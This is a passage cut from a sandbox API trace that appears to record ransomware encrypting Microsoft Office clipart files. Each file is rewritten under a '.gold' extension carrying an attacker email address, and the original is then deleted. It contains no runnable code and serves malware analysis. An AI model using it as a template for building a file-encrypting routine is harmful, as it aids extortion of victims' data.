lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0090.900] WriteFile (in: hFile=0x19c, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0090.900] SetEndOfFile (hFile=0x19c) returned 1 [0090.900] CloseHandle (hObject=0x19c) returned 1 [0090.900] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.900] SetEndOfFile (hFile=0x394) returned 1 [0090.902] CloseHandle (hObject=0x394) returned 1 [0090.902] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0090.903] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf")) returned 1 [0090.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 63 [0090.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 63 [0090.903] lstrlenW (lpString=".doc") returned 4 [0090.903] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.903] lstrlenW (lpString=".docx") returned 5 [0090.903] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0090.903] lstrlenW (lpString=".pdf") returned 4 [0090.903] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.903] lstrlenW (lpString=".xls") returned 4 [0090.903] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.904] lstrlenW (lpString=".xlsx") returned 5 [0090.904] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0090.904] lstrlenW (lpString=".ppt") returned 4 [0090.904] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 63 [0090.904] lstrlenW (lpString=".zip") returned 4 [0090.904] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.904] lstrlenW (lpString=".rar") returned 4 [0090.904] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.904] lstrlenW (lpString=".bz2") returned 4 [0090.904] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.904] lstrlenW (lpString=".7z") returned 3 [0090.904] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 63 [0090.904] lstrlenW (lpString=".dbf") returned 4 [0090.904] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 63 [0090.904] lstrlenW (lpString=".1cd") returned 4 [0090.904] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 63 [0090.904] lstrlenW (lpString=".jpg") returned 4 [0090.904] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 63 [0090.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 63 [0090.904] lstrlenW (lpString=".doc") returned 4 [0090.904] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.904] lstrlenW (lpString=".docx") returned 5 [0090.904] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0090.904] lstrlenW (lpString=".pdf") returned 4 [0090.904] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.904] lstrlenW (lpString=".xls") returned 4 [0090.904] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.904] lstrlenW (lpString=".xlsx") returned 5 [0090.904] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0090.904] lstrlenW (lpString=".ppt") returned 4 [0090.904] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 63 [0090.904] lstrlenW (lpString=".zip") returned 4 [0090.904] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.904] lstrlenW (lpString=".rar") returned 4 [0090.904] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.904] lstrlenW (lpString=".bz2") returned 4 [0090.904] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.904] lstrlenW (lpString=".7z") returned 3 [0090.904] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 63 [0090.904] lstrlenW (lpString=".dbf") returned 4 [0090.904] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 63 [0090.904] lstrlenW (lpString=".1cd") returned 4 [0090.904] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 63 [0090.904] lstrlenW (lpString=".jpg") returned 4 [0090.905] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.905] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0090.905] lstrlenW (lpString="DD00705_.WMF") returned 12 [0090.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0090.905] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=24588) returned 1 [0090.905] CloseHandle (hObject=0x394) returned 1 [0090.905] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf")) returned 0x20 [0090.905] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0090.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0090.906] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.906] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0090.906] GetLastError () returned 0x0 [0090.906] ReadFile (in: hFile=0x394, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x600c, lpOverlapped=0x0) returned 1 [0090.919] WriteFile (in: hFile=0x19c, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x6010, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x6010, lpOverlapped=0x0) returned 1 [0090.920] ReadFile (in: hFile=0x394, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0090.920] WriteFile (in: hFile=0x19c, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0090.920] SetEndOfFile (hFile=0x19c) returned 1 [0090.920] CloseHandle (hObject=0x19c) returned 1 [0090.920] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.920] SetEndOfFile (hFile=0x394) returned 1 [0090.922] CloseHandle (hObject=0x394) returned 1 [0090.922] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0090.923] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf")) returned 1 [0090.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63 [0090.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63 [0090.923] lstrlenW (lpString=".doc") returned 4 [0090.923] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.923] lstrlenW (lpString=".docx") returned 5 [0090.923] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0090.923] lstrlenW (lpString=".pdf") returned 4 [0090.923] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.924] lstrlenW (lpString=".xls") returned 4 [0090.924] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.924] lstrlenW (lpString=".xlsx") returned 5 [0090.924] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0090.924] lstrlenW (lpString=".ppt") returned 4 [0090.924] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63 [0090.924] lstrlenW (lpString=".zip") returned 4 [0090.924] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.924] lstrlenW (lpString=".rar") returned 4 [0090.924] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.924] lstrlenW (lpString=".bz2") returned 4 [0090.924] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.924] lstrlenW (lpString=".7z") returned 3 [0090.924] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63 [0090.924] lstrlenW (lpString=".dbf") returned 4 [0090.924] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63 [0090.924] lstrlenW (lpString=".1cd") returned 4 [0090.924] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63 [0090.924] lstrlenW (lpString=".jpg") returned 4 [0090.924] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63 [0090.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63 [0090.924] lstrlenW (lpString=".doc") returned 4 [0090.924] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.924] lstrlenW (lpString=".docx") returned 5 [0090.924] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0090.924] lstrlenW (lpString=".pdf") returned 4 [0090.924] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.924] lstrlenW (lpString=".xls") returned 4 [0090.924] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.924] lstrlenW (lpString=".xlsx") returned 5 [0090.924] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0090.924] lstrlenW (lpString=".ppt") returned 4 [0090.924] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63 [0090.924] lstrlenW (lpString=".zip") returned 4 [0090.924] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.924] lstrlenW (lpString=".rar") returned 4 [0090.924] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.924] lstrlenW (lpString=".bz2") returned 4 [0090.924] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.924] lstrlenW (lpString=".7z") returned 3 [0090.924] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63 [0090.924] lstrlenW (lpString=".dbf") returned 4 [0090.924] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63 [0090.925] lstrlenW (lpString=".1cd") returned 4 [0090.925] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63 [0090.925] lstrlenW (lpString=".jpg") returned 4 [0090.925] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.925] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0090.925] lstrlenW (lpString="DD01039_.WMF") returned 12 [0090.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0090.925] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=14820) returned 1 [0090.925] CloseHandle (hObject=0x394) returned 1 [0090.925] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf")) returned 0x20 [0090.925] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0090.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0090.926] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.926] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0090.974] GetLastError () returned 0x0 [0090.974] ReadFile (in: hFile=0x394, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x39e4, lpOverlapped=0x0) returned 1 [0091.048] WriteFile (in: hFile=0x3b0, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x39f0, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x39f0, lpOverlapped=0x0) returned 1 [0091.049] ReadFile (in: hFile=0x394, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0091.049] WriteFile (in: hFile=0x3b0, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0091.049] SetEndOfFile (hFile=0x3b0) returned 1 [0091.049] CloseHandle (hObject=0x3b0) returned 1 [0091.049] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0091.049] SetEndOfFile (hFile=0x394) returned 1 [0091.051] CloseHandle (hObject=0x394) returned 1 [0091.051] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0094.168] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf")) returned 1 [0094.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63 [0094.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63 [0094.283] lstrlenW (lpString=".doc") returned 4 [0094.283] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.283] lstrlenW (lpString=".docx") returned 5 [0094.283] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0094.283] lstrlenW (lpString=".pdf") returned 4 [0094.283] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.283] lstrlenW (lpString=".xls") returned 4 [0094.283] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.283] lstrlenW (lpString=".xlsx") returned 5 [0094.283] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0094.283] lstrlenW (lpString=".ppt") returned 4 [0094.283] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63 [0094.283] lstrlenW (lpString=".zip") returned 4 [0094.284] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.284] lstrlenW (lpString=".rar") returned 4 [0094.284] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.284] lstrlenW (lpString=".bz2") returned 4 [0094.284] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.284] lstrlenW (lpString=".7z") returned 3 [0094.284] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63 [0094.284] lstrlenW (lpString=".dbf") returned 4 [0094.284] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63 [0094.284] lstrlenW (lpString=".1cd") returned 4 [0094.284] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63 [0094.284] lstrlenW (lpString=".jpg") returned 4 [0094.284] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63 [0094.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63 [0094.284] lstrlenW (lpString=".doc") returned 4 [0094.284] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.284] lstrlenW (lpString=".docx") returned 5 [0094.284] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0094.284] lstrlenW (lpString=".pdf") returned 4 [0094.284] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.284] lstrlenW (lpString=".xls") returned 4 [0094.284] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.284] lstrlenW (lpString=".xlsx") returned 5 [0094.284] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0094.284] lstrlenW (lpString=".ppt") returned 4 [0094.284] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63 [0094.284] lstrlenW (lpString=".zip") returned 4 [0094.284] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.284] lstrlenW (lpString=".rar") returned 4 [0094.284] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.284] lstrlenW (lpString=".bz2") returned 4 [0094.284] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.284] lstrlenW (lpString=".7z") returned 3 [0094.284] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63 [0094.284] lstrlenW (lpString=".dbf") returned 4 [0094.284] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63 [0094.285] lstrlenW (lpString=".1cd") returned 4 [0094.285] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63 [0094.285] lstrlenW (lpString=".jpg") returned 4 [0094.285] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.285] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0094.285] lstrlenW (lpString="DD01167_.WMF") returned 12 [0094.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0094.541] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=2080) returned 1 [0094.541] CloseHandle (hObject=0x3a0) returned 1 [0094.541] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf")) returned 0x20 [0094.541] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0094.541] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0094.541] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.541] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.541] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0094.541] GetLastError () returned 0x0 [0094.541] ReadFile (in: hFile=0x3a0, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x820, lpOverlapped=0x0) returned 1 [0094.551] WriteFile (in: hFile=0x394, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x830, lpOverlapped=0x0) returned 1 [0094.552] ReadFile (in: hFile=0x3a0, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0094.552] WriteFile (in: hFile=0x394, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0094.552] SetEndOfFile (hFile=0x394) returned 1 [0094.555] CloseHandle (hObject=0x394) returned 1 [0094.555] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.556] SetEndOfFile (hFile=0x3a0) returned 1 [0094.585] CloseHandle (hObject=0x3a0) returned 1 [0094.585] 